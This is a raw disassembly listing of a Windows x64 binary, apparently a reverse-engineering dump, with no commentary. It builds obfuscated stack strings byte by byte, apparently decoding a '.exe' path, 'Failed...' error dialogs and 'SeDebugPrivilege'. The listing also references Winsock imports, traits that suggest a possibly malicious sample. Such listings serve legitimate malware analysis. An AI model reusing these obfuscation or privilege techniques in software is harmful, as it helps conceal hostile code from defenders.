mov byte [rbp + 0x8b8], al
mov r9d, r14d
lea r15d, [r14 - 0xe]
mov r8d, r15d
mov dl, 0x6d
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b9], al
mov r9d, r14d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8ba], al
mov r9d, r14d
lea r8d, [r14 - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8bb], al
mov r9d, r14d
mov r8, rdi
mov dl, 0x5c
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8bc], al
mov r9d, r14d
mov r8, rsi
mov dl, 0x77
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8bd], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, 0x69
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8be], al
mov r9d, r14d
lea r8d, [r14 - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8bf], al
mov r9d, r14d
mov r8, r13
mov dl, 0x76
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c0], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x65
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c1], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c2], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c3], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c4], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, 0x78
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c5], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8c6], al
xor eax, eax
mov byte [rbp + 0x8c7], al
mov edi, eax
lea r14d, [r15 + 0x10]
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8a9]
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + rdi + 0x8a9], al
add rdi, r12
cmp rdi, 0x1e
jb 0x140020357
xor eax, eax
mov byte [rbp + 0x8c7], al
lea rax, [rbp + 0x8a9]
mov qword [rbp + 0xc48], rax
lea rax, [rbp + 0xc40]
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0xc50]
mov qword [rbp - 0x68], rax
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp + 0xc38]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xf58]
call fcn.1400373d8
xor ecx, ecx
call fcn.1400a152c
mov rcx, rax
call fcn.14009cf54
call fcn.140095f90
or dword [rbp + 0x99a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x8620]
call fcn.14003804c
mov rdi, qword [rbp + 0xf60]
sub rdi, qword [rbp + 0xf58]
sar rdi, 3
lea rcx, [rbp + 0x8620]
call fcn.140037a64
mov eax, eax
xor edx, edx
div rdi
mov qword [rbp - 0x58], rdx
xor ecx, ecx
mov dword [rsp + 0x70], ecx
mov rax, qword [rbp + 0xf60]
mov rdi, qword [rbp + 0xf58]
sub rax, rdi
sar rax, 3
test rax, rax
lea r12d, [rcx + 0x26]
je 0x140020499
movsxd rcx, edx
mov rcx, qword [rdi + rcx*8]
call fcn.14001c3bc
mov dword [rbp - 0x60], eax
test eax, eax
jne 0x140020957
mov rcx, qword [rbp + 0xf60]
mov rdi, qword [rbp + 0xf58]
sub rcx, rdi
sar rcx, 3
mov rax, qword [rbp - 0x58]
inc eax
cdqe
xor edx, edx
div rcx
mov qword [rbp - 0x58], rdx
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
cdqe
cmp rax, rcx
jb 0x14002044b
mov byte [rbp + 0x330], 0x42
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x331], al
mov r9, rbx
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x332], al
mov r9, rbx
lea r8d, [r12 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x333], al
mov r9, rbx
lea r8d, [r12 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x334], al
mov r9, rbx
lea r8d, [r12 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x335], al
mov r9, rbx
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x336], al
mov r9, rbx
lea r8d, [r12 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x337], al
mov r9, rbx
lea r8d, [r12 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x338], al
mov r9, rbx
lea r8d, [r12 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x339], al
mov r9, rbx
lea r8d, [r12 + 8]
mov dl, r14b
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x33a], al
mov r9, rbx
lea r8d, [r12 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x33b], al
mov r9, rbx
lea r8d, [r12 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x33c], al
mov r9, rbx
lea r8d, [r12 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x33d], al
mov r9, rbx
lea r13d, [r12 + 0xc]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x33e], al
mov r9, rbx
lea r8d, [r12 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x33f], al
mov r9, rbx
lea r8d, [r12 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x340], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + 0x341], al
xor eax, eax
mov byte [rbp + 0x342], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x331]
lea rcx, [rbp + 0x330]
call fcn.1400371f8
mov byte [rbp + rdi + 0x331], al
add rdi, r12
cmp rdi, rbx
jb 0x14002068a
xor edi, edi
mov byte [rbp + 0x342], dil
mov byte [rbp + 0x708], gethostname
lea r12d, [rdi + 0x15]
mov r9d, r12d
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x709], al
mov r9d, r12d
lea r8d, [rdi + 1]
mov dl, 0x61
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x70a], al
mov r9d, r12d
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x70b], al
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x70c], al
mov r9d, r12d
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x70d], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x70e], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x70f], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x710], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x711], al
mov r9d, r12d
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x712], al
mov r9d, r12d
lea r8d, [rdi + 0xa]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x713], al
mov r9d, r12d
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x714], al
mov r9d, r12d
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x715], al
mov r9d, r12d
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x716], al
mov r9d, r12d
lea r8d, [rdi + 0xe]
mov dl, r14b
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x717], al
mov r9d, r12d
lea r8d, [rdi + 0xf]
mov dl, 0x43
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x718], al
mov r9d, r12d
mov r8, r15
mov dl, 0x6c
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x719], al
mov r9d, r12d
mov r8, rbx
mov dl, 0x69
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x71a], al
mov r9d, r12d
lea r8d, [rdi + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x71b], al
mov r9d, r12d
lea r8d, [rdi + 0x13]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x71c], al
mov r9d, r12d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + 0x71d], al
xor eax, eax
mov byte [rbp + 0x71e], al
lea ebx, [rdi + 1]
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x709]
lea rcx, [rbp + 0x708]
call fcn.1400372e8
mov byte [rbp + rdi + 0x709], al
add rdi, rbx
cmp rdi, r12
jb 0x140020906
xor eax, eax
mov byte [rbp + 0x71e], al
xor r9d, r9d
lea r8, [rbp + 0x331]
lea rdx, [rbp + 0x709]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x958], 0x61
mov r9, r12
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x959], al
mov r9, r12
mov r8d, 1
mov dl, WSAStartup
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x95a], al
mov r9, r12
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x95b], al
mov r9, r12
mov r8d, 3
mov dl, 0x63
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x95c], al
mov r9, r12
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x95d], al
mov r9, r12
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x95e], al
mov r9, r12
mov r8d, 6
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x95f], al
mov r9, r12
mov r8d, 7
mov dl, 0x69
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x960], al
mov r9, r12
mov r8d, 8
mov dl, WSAGetLastError
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x961], al
mov r9, r12
mov r8d, 9
mov dl, 0x67
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x962], al
mov r9, r12
mov r8d, 0xa
mov dl, r14b
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x963], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x43
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x964], al
mov r9, r12
mov r8d, ntohs
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x965], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6d
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x966], al
mov r9, r12
mov r8d, select
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x967], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x6c
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x968], al
mov r9, r12
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x969], al
mov r9, r12
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x96a], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x96b], al
mov r9, r12
mov edi, reloc.WS2_32.dll_send
mov r8d, edi
mov dl, Ordinal_45
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x96c], al
mov r9, r12
mov r8, rsi
mov dl, r14b
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x96d], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, 0x50
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x96e], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x96f], al
mov r9, r12
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x970], al
mov r9, r12
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x971], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x972], al
mov r9, r12
lea r8d, [rdi + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x973], al
mov r9, r12
lea r8d, [rdi + 8]
mov dl, 0x69
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x974], al
mov r9, r12
lea r8d, [rdi + 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x975], al
mov r9, r12
lea r8d, [rdi + 0xa]
mov dl, 0x67
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x976], al
mov r9, r12
lea r8d, [rdi + 0xb]
mov dl, r14b
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x977], al
mov r9, r12
lea r8d, [rdi + 0xc]
mov dl, 0x49
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x978], al
mov r9, r12
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x979], al
mov r9, r12
lea r8d, [rdi + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x97a], al
mov r9, r12
lea r8d, [rdi + 0xf]
mov dl, 0x67
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x97b], al
mov r9, r12
lea r8d, [rdi + 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x97c], al
mov r9, r12
lea r8d, [rdi + 0x11]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x97d], al
mov r9, r12
lea edx, [rdi - 9]
lea r8d, [rdi + 0x12]
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + 0x97e], al
xor eax, eax
mov byte [rbp + 0x97f], al
mov esi, eax
lea r15d, [rdi - 0x12]
mov r9, r12
mov r8, rsi
mov dl, byte [rbp + rsi + 0x959]
lea rcx, [rbp + 0x958]
call fcn.140037018
mov byte [rbp + rsi + 0x959], al
add rsi, r15
cmp rsi, r12
jb 0x140020d90
xor r12d, r12d
mov byte [rbp + 0x97f], r12b
lea rcx, [rbp + 0x959]
call fcn.14000e9b8
call fcn.14001c120
test al, al
lea esi, [r12 + 0x14]
lea r15d, [r12 + 0x10]
jne 0x1400213b2
mov byte [rbp + 0x408], 0x68
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x409], al
mov r9, rbx
lea r13d, [r12 + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x40a], al
mov r9, rbx
lea r8d, [r12 + 2]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x40b], al
mov r9, rbx
lea r8d, [r12 + 3]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x40c], al
mov r9, rbx
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x40d], al
mov r9, rbx
lea r8d, [r12 + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x40e], al
mov r9, rbx
lea r8d, [r12 + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x40f], al
mov r9, rbx
lea r8d, [r12 + 7]
mov dl, 0x61
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x410], al
mov r9, rbx
lea r8d, [r12 + 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x411], al
mov r9, rbx
lea r8d, [r12 + 9]
mov dl, r14b
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x412], al
mov r9, rbx
lea r8d, [r12 + 0xa]
mov dl, 0x46
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x413], al
mov r9, rbx
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x414], al
mov r9, rbx
lea r8d, [r12 + 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x415], al
mov r9, rbx
lea r8d, [r12 + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x416], al
mov r9, rbx
lea r8d, [r12 + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x417], al
mov r9, rbx
lea r8d, [r12 + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x418], al
mov r9, rbx
mov r8d, r15d
mov dl, 0x65
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + 0x419], al
xor eax, eax
mov byte [rbp + 0x41a], al
mov r9, rbx
mov r8, r12
mov dl, byte [rbp + r12 + 0x409]
lea rcx, [rbp + 0x408]
call fcn.1400371f8
mov byte [rbp + r12 + 0x409], al
add r12, r13
cmp r12, rbx
jb 0x140020fd0
xor eax, eax
mov byte [rbp + 0x41a], al
lea r13d, [rax + 3]
mov byte [rbp + 0x8c8], r13b
lea r12d, [rax + 0x1f]
mov r9d, r12d
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8c9], al
mov r9d, r12d
lea r8d, [r13 - 2]
mov dl, 0x61
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8ca], al
mov r9d, r12d
lea r8d, [r13 - 1]
mov dl, 0x69
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8cb], al
mov r9d, r12d
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8cc], al
mov r9d, r12d
lea r8d, [r13 + 1]
mov dl, 0x65
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8cd], al
mov r9d, r12d
lea r8d, [r13 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8ce], al
mov r9d, r12d
lea r8d, [r13 + 3]
mov dl, r14b
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8cf], al
mov r9d, r12d
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d0], al
mov r9d, r12d
lea r8d, [r13 + 5]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d1], al
mov r9d, r12d
lea r8d, [r13 + 6]
mov dl, r14b
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d2], al
mov r9d, r12d
lea r8d, [r13 + 7]
mov dl, 0x43
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d3], al
mov r9d, r12d
lea r8d, [r13 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d4], al
mov r9d, r12d
lea r8d, [r13 + 9]
mov dl, 0x65
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d5], al
mov r9d, r12d
lea r8d, [r13 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d6], al
mov r9d, r12d
lea r8d, [r13 + 0xb]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d7], al
mov r9d, r12d
lea r8d, [r13 + 0xc]
mov dl, 0x75
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d8], al
mov r9d, r12d
mov r8, r15
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8d9], al
mov r9d, r12d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8da], al
mov r9d, r12d
lea r8d, [r13 + 0xf]
mov dl, 0x49
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8db], al
mov r9d, r12d
mov r8, rdi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8dc], al
mov r9d, r12d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8dd], al
mov r9d, r12d
lea r8d, [r13 + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8de], al
mov r9d, r12d
lea r8d, [r13 + 0x13]
mov dl, WSAStartup
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8df], al
mov r9d, r12d
lea r8d, [r13 + 0x14]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e0], al
mov r9d, r12d
lea r8d, [r13 + 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e1], al
mov r9d, r12d
lea r8d, [r13 + 0x16]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e2], al
mov r9d, r12d
lea r8d, [r13 + 0x17]
mov dl, r14b
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e3], al
mov r9d, r12d
lea r8d, [r13 + 0x18]
mov dl, 0x44
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e4], al
mov r9d, r12d
lea r8d, [r13 + 0x19]
mov dl, 0x61
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e5], al
mov r9d, r12d
lea r8d, [r13 + 0x1a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e6], al
mov r9d, r12d
lea r8d, [r13 + 0x1b]
mov dl, 0x61
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + 0x8e7], al
xor eax, eax
mov byte [rbp + 0x8e8], al
xor ebx, ebx
mov edi, ebx
lea esi, [rax + 1]
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8c9]
lea rcx, [rbp + 0x8c8]
call fcn.140037270
mov byte [rbp + rdi + 0x8c9], al
add rdi, rsi
cmp rdi, r12
jb 0x140021363
mov byte [rbp + 0x8e8], bl
xor r9d, r9d
lea r8, [rbp + 0x409]
lea rdx, [rbp + 0x8c9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.14009cf48
int3
mov byte [rbp + 0x268], 0x56
mov r9, r15
xor r8d, r8d
mov dl, 0x53
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x269], al
mov r9, r15
mov ebx, 1
mov r8d, ebx
mov dl, 0x65
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x26a], al
mov r9, r15
lea r8d, [rbx + 1]
mov dl, 0x44
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x26b], al
mov r9, r15
lea r8d, [rbx + 2]
mov dl, 0x65
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x26c], al
mov r9, r15
lea r8d, [rbx + 3]
mov dl, 0x62
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x26d], al
mov r9, r15
lea r8d, [rbx + 4]
mov dl, 0x75
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x26e], al
mov r9, r15
lea r8d, [rbx + 5]
mov dl, 0x67
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x26f], al
mov r9, r15
lea r8d, [rbx + 6]
mov dl, 0x50
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x270], al
mov r9, r15
lea r8d, [rbx + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x271], al
mov r9, r15
lea r8d, [rbx + 8]
mov dl, 0x69
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x272], al
mov r9, r15
lea r8d, [rbx + 9]
mov dl, 0x76
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x273], al
mov r9, r15
lea r8d, [rbx + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x274], al
mov r9, r15
lea r8d, [rbx + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x275], al
mov r9, r15
lea r12d, [rbx + 0xc]
mov r8d, r12d
mov dl, 0x65
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x276], al
mov r9, r15
lea r8d, [rbx + 0xd]
mov dl, 0x67
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + 0x277], al
mov r9, r15
lea r8d, [rbx + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x268]
call fcn.140037180
